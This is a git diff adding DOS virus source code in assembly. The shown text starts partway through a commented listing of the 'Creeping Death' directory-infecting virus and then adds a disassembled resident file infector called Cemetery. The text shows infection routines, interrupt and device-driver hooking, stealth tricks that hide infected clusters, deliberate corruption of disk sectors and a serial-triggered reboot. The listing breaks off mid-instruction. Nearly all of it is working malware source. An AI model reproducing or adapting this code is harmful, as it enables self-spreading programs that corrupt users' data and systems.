+; ; +; Actual start of virus. In this part the virus initializes the stack and ; +; adjusts the device driver used by dos to read and write from floppy's and ; +; hard disks. Then it will start the orginal exe or com-file ; +; ; +;*****************************************************************************; + +Encrypt: mov si,offset Main-1 ; this part of the program + mov cx,400h-11 ; will decode the encoded +Repeat: xor byte ptr [si],0 ; program, so it can be + inc si ; executed + loop Repeat + +Main: mov sp,600h ; init stack + inc word ptr Counter + +;*****************************************************************************; +; ; +; Get dosversion, if the virus is running with dos 4+ then si will be 0 else ; +; si will be -1 ; +; ; +;*****************************************************************************; + +DosVersion: mov ah,30h ; fn 30h = Get Dosversion + int 21h ; int 21h + cmp al,4 ; major dosversion + sbb di,di + mov byte ptr drive[2],-1 ; set 2nd operand of cmp ah,?? + +;*****************************************************************************; +; ; +; Adjust the size of the codesegment, with dos function 4ah ; +; ; +;*****************************************************************************; + + mov bx,60h ; Adjust size of memory block + mov ah,4ah ; to 60 paragraphs = 600h bytes + int 21h ; int 21h + + mov ah,52h ; get internal list of lists + int 21h ; int 21h + +;*****************************************************************************; +; ; +; If the virus code segment is located behind the dos config memory block the ; +; code segment will be part of the config memory block making it 61h ; +; paragraphs larger. If the virus is not located next to the config memory ; +; block the virus will set the owner to 8h (Dos system) ; +; ; +;*****************************************************************************; + + mov ax,es:[bx-2] ; segment of first MCB + mov dx,cs ; dx = MCB of the code segment + dec dx +NextMCB: mov ds,ax ; ax = segment next MCB + add ax,ds:[3] + inc ax + cmp ax,dx ; are they equal ? + jne NextMCB ; no, not 1st program executed + cmp word ptr ds:[1],8 + jne NoBoot + add word ptr ds:[3],61h ; add 61h to size of block +NoBoot: mov ds,dx ; ds = segment of MCB + mov word ptr ds:[1],8 ; owner = dos system + +;*****************************************************************************; +; ; +; The virus will search for the disk paramenter block for drive a: - c: in ; +; order to find the device driver for these block devices. If any of these ; +; blocks is found the virus will install its own device driver and set the ; +; access flag to -1 to tell dos this device hasn't been accesed yet. ; +; ; +;*****************************************************************************; + + cld ; clear direction flag + lds bx,es:[bx] ; get pointer to first drive + ; paramenter block + +Search: cmp bx,-1 ; last block ? + je Last + mov ax,ds:[bx+di+15h] ; get segment of device header + cmp ax,70h ; dos device header ?? + jne Next ; no, go to next device + xchg ax,cx + mov byte ptr ds:[bx+di+18h],-1 ; set access flag to "drive + ; has not been accessed" + mov si,offset Header-4 ; set address of new device + xchg si,ds:[bx+di+13h] ; and save old address + mov ds:[bx+di+15h],cs +Next: lds bx,ds:[bx+di+19h] ; next drive parameter block + jmp Search + +;*****************************************************************************; +; ; +; If the virus has failed in starting the orginal exe-file it will jump here. ; +; ; +;*****************************************************************************; + +Boot: mov ds,ds:[16h] ; es = parent PSP + mov bx,ds:[16h] ; bx = parent PSP of Parent PSP + xor si,si + sub bx,1 ; filename+path available ? + jnb Exec ; yes, execute it + mov ax,cs ; get segment of MCB + dec ax + mov ds,ax + mov cl,8 ; count length of filename + mov si,8 + mov di,0ffh +Count: lodsb + or al,al + loopne Count + not cl + and cl,7 +NextByte: mov si,8 ; search for this name in the + inc di ; parent PSP to find the path + push di ; to this file + push cx + rep cmpsb + pop cx + pop di + jne NextByte +BeginName: dec di ; name found, search for start + cmp byte ptr es:[di-1],0 ; of name+path + jne BeginName + mov si,di + mov bx,es + jmp short Exec ; execute it + +;*****************************************************************************; +; ; +; If none of these devices is found it means the virus is already resident ; +; and the virus wasn't able to start the orginal exe-file (the file is ; +; corrupted by copying it without the virus memory resident). If the device ; +; is found the information in the header is copied. ; +; ; +;*****************************************************************************; + +Last: jcxz Exit + +;*****************************************************************************; +; ; +; The information about the dos device driver is copyed to the virus code ; +; segment ; +; ; +;*****************************************************************************; + + mov ds,cx ; ds = segment of Device Driver + add si,4 + push cs + pop es + mov di,offset Header ; prepare header of the viral + movsw ; device driver and save the + lodsw ; address of the dos strategy + mov es:StrBlock,ax ; and interrupt procedures + mov ax,offset Strategy + stosw + lodsw + mov es:IntBlock,ax + mov ax,offset Interrupt + stosw + movsb + +;*****************************************************************************; +; ; +; Deallocate the environment memory block and start the this file again, but ; +; if the virus succeeds it will start the orginal exe-file. ; +; ; +;*****************************************************************************; + + push cs + pop ds + mov bx,ds:[2ch] ; environment segment + or bx,bx ; environment available ? + jz Boot ; no, computer is rebooted + mov es,bx + mov ah,49h ; deallocate memory + int 21h + xor ax,ax ; end of environment is marked + mov di,1 ; with two zero bytes +Seek: dec di ; scan for end of environment + scasw + jne Seek + lea si,ds:[di+2] ; es:si = start of filename +Exec: push bx + push cs + pop ds + mov bx,offset Param + mov ds:[bx+4],cs ; set segments in EPB + mov ds:[bx+8],cs + mov ds:[bx+12],cs + pop ds + push cs + pop es + + mov di,offset Filename ; copy name of this file + push di + mov cx,40 + rep movsw + push cs + pop ds + + mov ah,3dh ; open file, this file will + mov dx,offset File ; not be found but the entire + int 21h ; directory is searched and + pop dx ; infected + + mov ax,4b00h ; execute file + int 21h +Exit: mov ah,4dh ; get exit-code + int 21h + mov ah,4ch ; terminate (al = exit code) + int 21h + +;*****************************************************************************; +; ; +; Installation complete ; +; ; +;*****************************************************************************; +; ; +; The next part contains the device driver used by creeping death to infect ; +; directory's ; +; ; +; The device driver uses only the strategy routine to handle the requests. ; +; I don't know if this is because the virus will work better or the writer ; +; of this virus didn't know how to do it right. ; +; ; +;*****************************************************************************; + + +Strategy: mov cs:RequestOffset,bx ; store segment and offset of + mov cs:RequestSegment,es ; request block + retf ; return to dos (or whatever + ; called this device driver) + +Interrupt: push ax ; driver strategy block + push bx ; save registers + push cx + push dx + push si + push di + push ds + push es + + les bx,cs:Request ; es:bx = request block + push es ; ds:bx = request block + pop ds + mov al,ds:[bx+2] ; command code + + cmp al,4 ; read sector from disk + je Input + cmp al,8 ; write sector to disk + je Output + cmp al,9 + je Output + + call DoRequest ; let dos do handle the request + + cmp al,2 ; Build BPB + jne Return + lds si,ds:[bx+12h] ; copy the BPB and change it + mov di,offset bpb_buf ; into one that hides the virus + mov es:[bx+12h],di + mov es:[bx+14h],cs + push es ; copy + push cs + pop es + mov cx,16 + rep movsw + pop es + push cs + pop ds + mov al,ds:[di+2-32] ; change + cmp al,2 + adc al,0 + cbw + cmp word ptr ds:[di+8-32],0 ; >32mb partition ? + je m32 ; yes, jump to m32 + sub ds:[di+8-32],ax ; <32mb partition + jmp short Return +m32: sub ds:[di+15h-32],ax ; >32mb partition + sbb word ptr ds:[di+17h-32],0 +Return: pop es ; return to caller + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + retf + +Output: inc byte ptr cs:Random ; increase counter + jnz Skip ; zero ? + push bx ; yes, change one byte in the + push ds ; sector to write + lds bx,ds:[bx+16h] + inc bh + inc byte ptr ds:[bx] ; destroy some data + pop ds + pop bx +Skip: mov cx,0ff09h + call Check ; check if disk changed + jz Disk ; yes, write virus to disk + jmp InfectSector ; no, just infect sector +Disk: call DoRequest + jmp short InfectDisk + +ReadError: add sp,16 ; error during request + jmp short Return + +Input: call check ; check if disk changed + jnz InfectDisk ; no, read sector + jmp Read +InfectDisk: mov byte ptr ds:[bx+2],4 ; yes, write virus to disk + cld ; save last part of request + lea si,ds:[bx+0eh] + mov cx,8 +Save: lodsw + push ax + loop Save + mov word ptr ds:[bx+14h],1 ; read 1st sector on disk + call ReadSector + jnz ReadError + mov byte ptr ds:[bx+2],2 ; build BPB + call DoRequest + lds si,ds:[bx+12h] ; ds:si = BPB + mov di,ds:[si+6] ; size of root directory + add di,15 ; in sectors + mov cl,4 + shr di,cl + mov al,ds:[si+5] + cbw + mov dx,ds:[si+0bh] + mul dx ; ax=fat sectors, dx=0 + add ax,ds:[si+3] + add di,ax + push di ; save it on stack + mov ax,ds:[si+8] ; total number of sectors + cmp ax,dx ; >32mb + jnz More ; no, skip next 2 instructions + mov ax,ds:[si+15h] ; get number of sectors + mov dx,ds:[si+17h] +More: xor cx,cx ; cx=0 + sub ax,di ; dx:ax=number is data sectors + sbb dx,cx + mov cl,ds:[si+2] ; cx=sectors / cluster + div cx ; number of clusters on disk + cmp cl,2 ; 1 sector/cluster ? + sbb ax,-1 ; number of clusters (+1 or +2) + push ax ; save it on stack + call Convert ; get fat sector and offset in + mov byte ptr es:[bx+2],4 ; sector + mov es:[bx+14h],ax + call ReadSector ; read fat sector + lds si,es:[bx+0eh] + add si,dx + sub dh,cl ; has something to do with the + adc dx,ax ; encryption of the pointers + mov word ptr cs:[gad+1],dx + cmp cl,1 ; 1 sector / cluster + jne Ok + not di ; this is used when the + and ds:[si],di ; clusters are 1 sector long + pop ax ; allocate 1st cluster + push ax + inc ax + push ax + mov dx,0fh + test di,dx + jz Here + inc dx + mul dx +Here: or ds:[si],ax + pop ax + call Convert + mov si,es:[bx+0eh] + add si,dx +Ok: mov ax,ds:[si] ; allocate last cluster + and ax,di + mov dx,di + dec dx + and dx,di + not di + and ds:[si],di + or ds:[si],dx + cmp ax,dx ; cluster already allocated by + pop ax ; the virus ? + pop di + mov word ptr cs:[pointer+1],ax + je DiskInfected ; yes, don't write it and go on + mov dx,ds:[si] + mov byte ptr es:[bx+2],8 ; write the adjusted sector to + call DoRequest ; disk + jnz DiskInfected + mov byte ptr es:[bx+2],4 ; read it again + call ReadSector + cmp ds:[si],dx ; is it written correctly ? + jne DiskInfected ; no, can't infect disk + dec ax + dec ax ; calculate the sector number + mul cx ; to write the virus to + add ax,di + adc dx,0 + push es + pop ds + mov word ptr ds:[bx+12h],2 + mov ds:[bx+14h],ax ; store it in the request hdr + test dx,dx + jz Less + mov word ptr ds:[bx+14h],-1 + mov ds:[bx+1ah],ax + mov ds:[bx+1ch],dx +Less: mov ds:[bx+10h],cs + mov ds:[bx+0eh],100h + mov byte ptr es:[bx+2],8 ; write it + call EncryptWrite1 + +DiskInfected: mov byte ptr ds:[bx+2],4 ; restore this byte + std ; restore other part of the + lea di,ds:[bx+1ch] ; request + mov cx,8 +Load: pop ax + stosw + loop Load +Read: call DoRequest ; do request + + mov cx,9 +InfectSector: mov di,es:[bx+12h] ; get number of sectors read + lds si,es:[bx+0eh] ; get address of data + sal di,cl ; calculate end of buffer + xor cl,cl + add di,si + xor dl,dl + push ds ; infect the sector + push si + call find + jcxz no_inf ; write sector ? + mov al,8 + xchg al,es:[bx+2] ; save command byte + call DoRequest ; write sector + mov es:[bx+2],al ; restore command byte + and byte ptr es:[bx+4],07fh +no_inf: pop si + pop ds + inc dx ; disinfect sector in memory + call find + jmp Return ; return to caller + +;*****************************************************************************; +; ; +; Subroutines ; +; ; +;*****************************************************************************; + +Find: mov ax,ds:[si+8] ; (dis)infect sector in memory + cmp ax,"XE" ; check for .exe + jne com + cmp ds:[si+10],al + je found +Com: cmp ax,"OC" ; check for .com + jne go_on + cmp byte ptr ds:[si+10],"M" + jne go_on +Found: test word ptr ds:[si+1eh],0ffc0h ; file to big + jnz go_on ; more than 4mb + test word ptr ds:[si+1dh],03ff8h ; file to small + jz go_on ; less than 2048 bytes + test byte ptr ds:[si+0bh],1ch ; directory, system or + jnz go_on ; volume label + test dl,dl ; infect or disinfect ? + jnz rest +Pointer: mov ax,1234h ; ax = viral cluster + cmp ax,ds:[si+1ah] ; file already infected ? + je go_on ; yes, go on + xchg ax,ds:[si+1ah] ; exchange pointers +Gad: xor ax,1234h ; encryption + mov ds:[si+14h],ax ; store it on another place + loop go_on ; change cx and go on +Rest: xor ax,ax ; ax = 0 + xchg ax,ds:[si+14h] ; get pointer + xor ax,word ptr cs:[gad+1] ; Encrypt + mov ds:[si+1ah],ax ; store it on the right place +Go_on: rol word ptr cs:[gad+1],1 ; change encryption + add si,32 ; next directory entry + cmp di,si ; end of buffer ? + jne find ; no, do it again + ret ; return + +Check: mov ah,ds:[bx+1] ; get number of unit +Drive: cmp ah,-1 ; same as last call ? + mov byte ptr cs:[drive+2],ah ; set 2nd parameter + jne Changed + push ds:[bx+0eh] ; save word + mov byte ptr ds:[bx+2],1 ; disk changed ? + call DoRequest + cmp byte ptr ds:[bx+0eh],1 ; 1=Yes + pop ds:[bx+0eh] ; restore word + mov ds:[bx+2],al ; restore command +Changed: ret ; return + +ReadSector: mov word ptr es:[bx+12h],1 ; read sector from disk + +DoRequest: db 09ah ; call 70:?, orginal strategy +StrBlock dw ?,70h + db 09ah ; call 70:?, orginal interrupt +IntBlock dw ?,70h + test byte ptr es:[bx+4],80h ; error ? yes, zf = 0 + ret ; return + +Convert: cmp ax,0ff0h ; convert cluster number into + jae Fat16 ; an sector number and offset + mov si,3 ; into this sector containing + xor word ptr cs:[si+gad-1],si ; the fat-item of this + mul si ; cluster + shr ax,1 + mov di,0fffh + jnc Continue + mov di,0fff0h + jmp short Continue +Fat16: mov si,2 + mul si + mov di,0ffffh +Continue: mov si,512 + div si + inc ax + ret + +EncryptWrite1: push ds ; write virus to disk + push cs ; (encrypted) save regs + pop ds + push es + push cs + pop es + cld ; copy forward + mov cx,12 ; length of encryptor + mov si,offset Encrypt ; start of encryptor + mov di,offset EncryptWrite2 ; destenation + inc byte ptr ds:[si+8] ; change xor value + rep movsb ; copy encryptor + mov cl,10 ; copy dorequest proc + mov si,offset DoRequest + rep movsb + mov cl,12 ; copy encryptor + mov si,offset Encrypt + rep movsb + mov ax,0c31fh ; store "pop ds","ret" + stosw ; instructions + pop es ; restore register + jmp EncryptWrite2 ; encrypt and write vir + +;*****************************************************************************; +; ; +; Data ; +; ; +;*****************************************************************************; + +File db "C:",255,0 ; the virus tries to open this + ; file + +Counter dw 0 ; this will count the number of + ; systems that are infected by + ; this virus + +Param dw 0,80h,?,5ch,?,6ch,? ; parameters for the + ; exec-function + +Random db ? ; if this byte becomes zero + ; the virus will change the + ; sector that will be written + ; to disk + +Header db 7 dup(?) ; this is the header for the + ; device driver + +Filename db ? ; Buffer for the filename used + ; by the exec-function + + +;*****************************************************************************; +; ; +; The End ; +; ; +;*****************************************************************************; + +code ends ; end of the viral code + +end Encrypt ; start at offset 100h for + ; com-file + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/c/Cemetary.asm b/c/Cemetary.asm new file mode 100755 index 0000000..93242a0 --- /dev/null +++ b/c/Cemetary.asm @@ -0,0 +1,737 @@ + +PAGE 60,132 + +; +; +; CEMETERY +; +; Created: 4-Mar-91 +; +; + +data_1e equ 4Ch ; (0000:004C=31h) +data_2e equ 4Eh ; (0000:004E=70h) +data_3e equ 70h ; (0000:0070=0FF33h) +data_4e equ 72h ; (0000:0072=0F000h) +data_5e equ 84h ; (0000:0084=0E3h) +data_6e equ 86h ; (0000:0086=161Ah) +data_7e equ 90h ; (0000:0090=8Eh) +data_8e equ 92h ; (0000:0092=1498h) +data_9e equ 102h ; (0000:0102=0CC00h) +data_10e equ 106h ; (0000:0106=326h) +data_11e equ 450h ; (0000:0450=184Fh) +data_12e equ 46Ch ; (0000:046C=0C4BCh) +data_13e equ 46Eh ; (0000:046E=10h) +data_14e equ 47Bh ; (0000:047B=0) +data_15e equ 0 ; (0326:0000=6A7h) +data_16e equ 2 ; (0326:0002=70h) +data_17e equ 0 ; (0687:0000=81h) +data_18e equ 1 ; (0688:0001=0FF17h) +data_19e equ 2 ; (06E3:0002=2342h) +data_20e equ 6 ; (06E3:0006=2344h) +data_46e equ 0FBF0h ; (701E:FBF0=0) +data_47e equ 0FBF2h ; (701E:FBF2=0) +data_48e equ 0FC10h ; (701E:FC10=0) +data_49e equ 0FC12h ; (701E:FC12=0) +data_50e equ 0FC14h ; (701E:FC14=0) +data_51e equ 0FC1Eh ; (701E:FC1E=0) +data_52e equ 0FC20h ; (701E:FC20=0) +data_53e equ 0FC26h ; (701E:FC26=0) +data_54e equ 0FC28h ; (701E:FC28=0) + +code_seg_a segment + assume cs:code_seg_a, ds:code_seg_a + + + org 100h + +cemetery proc far + +start: +data_21 dw 0CE9h +data_22 dw 0C304h + db 23 dup (0C3h) + db 'CEMETERY' +data_24 dw 0C3C3h +data_25 dw 0C3C3h +data_26 dw 0 +data_27 dw 0 +data_28 dw 0 +data_29 dw 0 +data_30 dw 0 +data_31 dd 00000h +data_32 dw 0 +data_33 dw 0 +data_34 dd 00000h +data_35 dw 0 +data_36 dw 0 + db 68h, 0E8h, 55h, 3, 90h, 3Dh + db 4Dh, 4Bh, 75h, 9, 55h, 8Bh + db 0ECh, 83h, 66h, 6, 0FEh, 5Dh + db 0CFh, 80h, 0FCh, 4Bh, 74h, 12h + db 3Dh, 0, 3Dh, 74h, 0Dh, 3Dh + db 0, 6Ch, 75h, 5, 80h, 0FBh + db 0, 74h, 3 +loc_1: + jmp loc_13 +loc_2: + push es + push ds + push di + push si + push bp + push dx + push cx + push bx + push ax + call sub_6 + call sub_7 + cmp ax,6C00h + jne loc_3 ; Jump if not equal + mov dx,si +loc_3: + mov cx,80h + mov si,dx + +locloop_4: + inc si + mov al,[si] + or al,al ; Zero ? + loopnz locloop_4 ; Loop if zf=0, cx>0 + + sub si,2 + cmp word ptr [si],4D4Fh + je loc_7 ; Jump if equal + cmp word ptr [si],4558h + je loc_6 ; Jump if equal +loc_5: + jmp short loc_12 + db 90h +loc_6: + cmp word ptr [si-2],452Eh + nop + jz loc_8 ; Jump if zero + jmp short loc_5 +loc_7: + cmp word ptr [si-2],432Eh + jne loc_5 ; Jump if not equal + cmp word ptr [si-4],444Eh + jne loc_5 ; Jump if not equal +loc_8: + mov ax,3D02h + call sub_5 + jc loc_12 ; Jump if carry Set + mov bx,ax + mov ax,5700h + call sub_5 + mov cs:data_27,cx ; (701E:0129=0) + mov cs:data_28,dx ; (701E:012B=0) + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_5 + push cs + pop ds + mov dx,103h + mov si,dx + mov cx,18h + mov ah,3Fh ; '?' + call sub_5 + jc loc_10 ; Jump if carry Set + cmp word ptr [si],5A4Dh + jne loc_9 ; Jump if not equal + call sub_1 + jmp short loc_10 +loc_9: + call sub_4 +loc_10: + jc loc_11 ; Jump if carry Set + mov ax,5701h + mov cx,cs:data_27 ; (701E:0129=0) + mov dx,cs:data_28 ; (701E:012B=0) + call sub_5 +loc_11: + mov ah,3Eh ; '>' + call sub_5 +loc_12: + call sub_7 + pop ax + pop bx + pop cx + pop dx + pop bp + pop si + pop di + pop ds + pop es +loc_13: + jmp cs:data_31 ; (701E:0131=0) + +cemetery endp + +; +; SUBROUTINE +; + +sub_1 proc near + mov cx,[si+16h] + add cx,[si+8] + mov ax,10h + mul cx ; dx:ax = reg * ax + add ax,[si+14h] + adc dx,0 + push dx + push ax + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_5 + cmp dx,0 + jne loc_14 ; Jump if not equal + cmp ax,589h + jae loc_14 ; Jump if above or = + pop ax + pop dx + stc ; Set carry flag + ret +loc_14: + mov di,ax + mov bp,dx + pop cx + sub ax,cx + pop cx + sbb dx,cx + cmp word ptr [si+0Ch],0 + je loc_ret_17 ; Jump if equal + cmp dx,0 + jne loc_15 ; Jump if not equal + cmp ax,589h + jne loc_15 ; Jump if not equal + stc ; Set carry flag + ret +loc_15: + mov dx,bp + mov ax,di + push dx + push ax + add ax,589h + adc dx,0 + mov cx,200h + div cx ; ax,dx rem=dx:ax/reg + les di,dword ptr [si+2] ; Load 32 bit ptr + mov cs:data_29,di ; (701E:012D=0) + mov cs:data_30,es ; (701E:012F=0) + mov [si+2],dx + cmp dx,0 + je loc_16 ; Jump if equal + inc ax +loc_16: + mov [si+4],ax + pop ax + pop dx + call sub_2 + sub ax,[si+8] + les di,dword ptr [si+14h] ; Load 32 bit ptr + mov data_24,di ; (701E:0123=0C3C3h) + mov data_25,es ; (701E:0125=0C3C3h) + mov [si+14h],dx + mov [si+16h],ax + mov word ptr data_26,ax ; (701E:0127=0) + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_5 + call sub_3 + jc loc_ret_17 ; Jump if carry Set + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_5 + mov ah,40h ; '@' + mov dx,si + mov cx,18h + call sub_5 + +loc_ret_17: + ret +sub_1 endp + + +; +; SUBROUTINE +; + +sub_2 proc near + mov cx,4 + mov di,ax + and di,0Fh + +locloop_18: + shr dx,1 ; Shift w/zeros fill + rcr ax,1 ; Rotate thru carry + loop locloop_18 ; Loop if cx > 0 + + mov dx,di + ret +sub_2 endp + + +; +; SUBROUTINE +; + +sub_3 proc near + mov ah,40h ; '@' + mov cx,589h + mov dx,100h + call sub_6 + jmp short loc_22 + db 90h + +; External Entry into Subroutine + +sub_4: + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_5 + cmp ax,589h + jb loc_ret_21 ; Jump if below + cmp ax,0FA00h + jae loc_ret_21 ; Jump if above or = + push ax + cmp byte ptr [si],0E9h + jne loc_19 ; Jump if not equal + sub ax,58Ch + cmp ax,[si+1] + jne loc_19 ; Jump if not equal + pop ax + stc ; Set carry flag + ret +loc_19: + call sub_3 + jnc loc_20 ; Jump if carry=0 + pop ax + ret +loc_20: + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_5 + pop ax + sub ax,3 + mov dx,123h + mov si,dx + mov byte ptr cs:[si],0E9h + mov cs:[si+1],ax + mov ah,40h ; '@' + mov cx,3 + call sub_5 + +loc_ret_21: + ret +sub_3 endp + + +; +; SUBROUTINE +; + +sub_5 proc near +loc_22: + pushf ; Push flags + call cs:data_31 ; (701E:0131=0) + ret +sub_5 endp + + +; +; SUBROUTINE +; + +sub_6 proc near + push ax + push ds + push es + xor ax,ax ; Zero register + push ax + pop ds + cli ; Disable interrupts + les ax,dword ptr ds:data_7e ; (0000:0090=18Eh) Load 32 bit ptr + mov cs:data_32,ax ; (701E:0135=0) + mov cs:data_33,es ; (701E:0137=0) + mov ax,3ABh + mov ds:data_7e,ax ; (0000:0090=18Eh) + mov ds:data_8e,cs ; (0000:0092=1498h) + les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr + mov cs:data_35,ax ; (701E:013D=0) + mov cs:data_36,es ; (701E:013F=0) + les ax,cs:data_34 ; (701E:0139=0) Load 32 bit ptr + mov ds:data_1e,ax ; (0000:004C=831h) + mov ds:data_2e,es ; (0000:004E=70h) + sti ; Enable interrupts + pop es + pop ds + pop ax + ret +sub_6 endp + + +; +; SUBROUTINE +; + +sub_7 proc near + push ax + push ds + push es + xor ax,ax ; Zero register + push ax + pop ds + cli ; Disable interrupts + les ax,dword ptr cs:data_32 ; (701E:0135=0) Load 32 bit ptr + mov ds:data_7e,ax ; (0000:0090=18Eh) + mov ds:data_8e,es ; (0000:0092=1498h) + les ax,dword ptr cs:data_35 ; (701E:013D=0) Load 32 bit ptr + mov ds:data_1e,ax ; (0000:004C=831h) + mov ds:data_2e,es ; (0000:004E=70h) + sti ; Enable interrupts + pop es + pop ds + pop ax + ret +sub_7 endp + + db 0B0h, 3, 0CFh, 50h, 53h, 51h + db 2Eh, 0A3h, 0FEh, 3, 2Eh, 0A1h + db 0F7h, 3, 0A3h, 50h, 4, 2Eh + db 0A1h, 0F5h, 3, 8Ah, 0DCh, 0B4h + db 9, 0B9h, 1, 0, 0CDh, 10h + db 0E8h, 34h, 0, 0E8h, 0B7h, 0 + db 2Eh, 0A1h, 0F7h, 3, 0A3h, 50h + db 4, 0B3h, 7, 0B8h, 7, 9 + db 0B9h, 1, 0, 0CDh, 10h, 2Eh + db 0A1h, 0FEh, 3, 0A3h, 50h, 4 + db 7, 1Fh + db ']_^ZY[X.' + db 0FFh, 2Eh, 0FAh, 3 +data_37 dw 0 +data_38 db 10h +data_39 db 10h +data_40 db 0 +data_41 dw 0 +data_42 dw 0 + db 0, 0, 2Eh, 0A1h, 0F7h, 3 + db 8Bh, 1Eh, 4Ah, 4, 4Bh, 2Eh + db 0F6h, 6, 0F9h, 3, 1, 74h + db 0Ch, 3Ah, 0C3h, 72h, 12h, 2Eh + db 80h, 36h, 0F9h, 3, 1, 0EBh + db 0Ah +loc_23: + cmp al,0 + jg loc_24 ; Jump if > + xor byte ptr cs:data_40,1 ; (701E:03F9=0) +loc_24: + test byte ptr cs:data_40,2 ; (701E:03F9=0) + jz loc_25 ; Jump if zero + cmp ah,18h + jb loc_26 ; Jump if below + xor byte ptr cs:data_40,2 ; (701E:03F9=0) + jmp short loc_26 +loc_25: + cmp ah,0 + jg loc_26 ; Jump if > + xor byte ptr cs:data_40,2 ; (701E:03F9=0) +loc_26: + cmp byte ptr cs:data_37,20h ; (701E:03F5=0) ' ' + je loc_27 ; Jump if equal + db 2Eh +data_44 dw 3E80h + db 0F8h, 3, 0, 74h, 6, 2Eh + db 80h, 36h, 0F9h, 3, 2 +loc_27: + test byte ptr cs:data_40,1 ; (701E:03F9=0) + jz loc_28 ; Jump if zero + inc cs:data_38 ; (701E:03F7=10h) + jmp short loc_29 +loc_28: + dec cs:data_38 ; (701E:03F7=10h) +loc_29: + test byte ptr cs:data_40,2 ; (701E:03F9=0) + jz loc_30 ; Jump if zero + inc cs:data_39 ; (701E:03F8=10h) + jmp short loc_ret_31 +loc_30: + dec cs:data_39 ; (701E:03F8=10h) + +loc_ret_31: + ret + +; +; SUBROUTINE +; + +sub_8 proc near + mov ax,word ptr cs:data_38 ; (701E:03F7=1010h) + mov ds:data_11e,ax ; (0000:0450=184Fh) + mov bh,data_55 ; (0000:0462=0D400h) + mov ah,8 + int 10h ; Video display ah=functn 08h + ; get char al & attrib ah @curs + mov cs:data_37,ax ; (701E:03F5=0) + ret +sub_8 endp + + db 50h, 53h, 51h, 52h, 56h, 57h + db 55h, 1Eh, 6, 33h, 0C0h, 50h + db 1Fh, 81h, 3Eh, 70h, 0, 0AEh + db 3, 74h, 35h, 0A1h, 6Ch, 4 + db 8Bh, 16h, 6Eh, 4, 0B9h, 0FFh + db 0FFh, 0F7h, 0F1h, 3Dh, 10h, 0 + db 75h, 24h, 0FAh, 8Bh, 2Eh, 50h + db 4, 0E8h, 0BEh, 0FFh, 89h, 2Eh + db 50h, 4, 0C4h, 6, 70h, 0 + db 2Eh, 0A3h, 0FAh, 3, 2Eh, 8Ch + db 6, 0FCh, 3, 0C7h, 6, 70h + db 0, 0AEh, 3, 8Ch, 0Eh, 72h + db 0, 0FBh +loc_32: + mov ah,2 + int 14h ; RS-232 dx=com1, ah=func 02h + ; get char al, ah=return status + cmp al,31h ; '1' + je loc_33 ; Jump if equal + jnz loc_34 ; Jump if not zero +loc_33: + int 19h ; Bootstrap loader +loc_34: + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + ret + +; +; SUBROUTINE +; + +sub_9 proc near + mov dx,10h + mul dx ; dx:ax = reg * ax + ret +sub_9 endp + + +; +; SUBROUTINE +; + +sub_10 proc near + xor ax,ax ; Zero register + xor bx,bx ; Zero register + xor cx,cx ; Zero register + xor dx,dx ; Zero register + xor si,si ; Zero register + xor di,di ; Zero register + xor bp,bp ; Zero register + ret +sub_10 endp + + db 1Eh, 0E8h, 0, 0 + +; +; SUBROUTINE +; + +sub_11 proc near + mov ax,4B4Dh + int 21h ; DOS Services ah=function 4Bh + ; run progm @ds:dx, parm @es:bx + jc loc_35 ; Jump if carry Set + jmp loc_45 +loc_35: + pop si + push si + mov di,si + xor ax,ax ; Zero register + push ax + pop ds + les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr + mov cs:data_53e[si],ax ; (701E:FC26=0) + mov cs:data_54e[si],es ; (701E:FC28=0) + les bx,dword ptr ds:data_5e ; (0000:0084=6E3h) Load 32 bit ptr + mov cs:data_51e[di],bx ; (701E:FC1E=0) + mov cs:data_52e[di],es ; (701E:FC20=0) + mov ax,ds:data_9e ; (0000:0102=0CC00h) + cmp ax,0F000h + jne loc_43 ; Jump if not equal + mov dl,80h + mov ax,ds:data_10e ; (0000:0106=326h) + cmp ax,0F000h + je loc_36 ; Jump if equal + cmp ah,0C8h + jb loc_43 ; Jump if below + cmp ah,0F4h + jae loc_43 ; Jump if above or = + test al,7Fh + jnz loc_43 ; Jump if not zero + mov ds,ax + cmp word ptr ds:data_15e,0AA55h ; (0326:0000=6A7h) + jne loc_43 ; Jump if not equal + mov dl,ds:data_16e ; (0326:0002=70h) +loc_36: + mov ds,ax + xor dh,dh ; Zero register + mov cl,9 + shl dx,cl ; Shift w/zeros fill + mov cx,dx + xor si,si ; Zero register + +locloop_37: + lodsw ; String [si] to ax + cmp ax,0FA80h + jne loc_38 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,7380h + je loc_39 ; Jump if equal + jnz loc_40 ; Jump if not zero +loc_38: + cmp ax,0C2F6h + jne loc_41 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,7580h + jne loc_40 ; Jump if not equal +loc_39: + inc si + lodsw ; String [si] to ax + cmp ax,40CDh + je loc_42 ; Jump if equal + sub si,3 +loc_40: + dec si + dec si +loc_41: + dec si + loop locloop_37 ; Loop if cx > 0 + + jmp short loc_43 +loc_42: + sub si,7 + mov cs:data_53e[di],si ; (701E:FC26=0) + mov cs:data_54e[di],ds ; (701E:FC28=0) +loc_43: + mov ah,62h ; 'b' + int 21h ; DOS Services ah=function 62h + ; get progrm seg prefix addr bx + mov es,bx + mov ah,49h ; 'I' + int 21h ; DOS Services ah=function 49h + ; release memory block, es=seg + mov bx,0FFFFh + mov ah,48h ; 'H' + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + sub bx,5Ah + nop + jc loc_45 ; Jump if carry Set + mov cx,es + stc ; Set carry flag + adc cx,bx + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + mov bx,59h + stc ; Set carry flag + sbb es:data_19e,bx ; 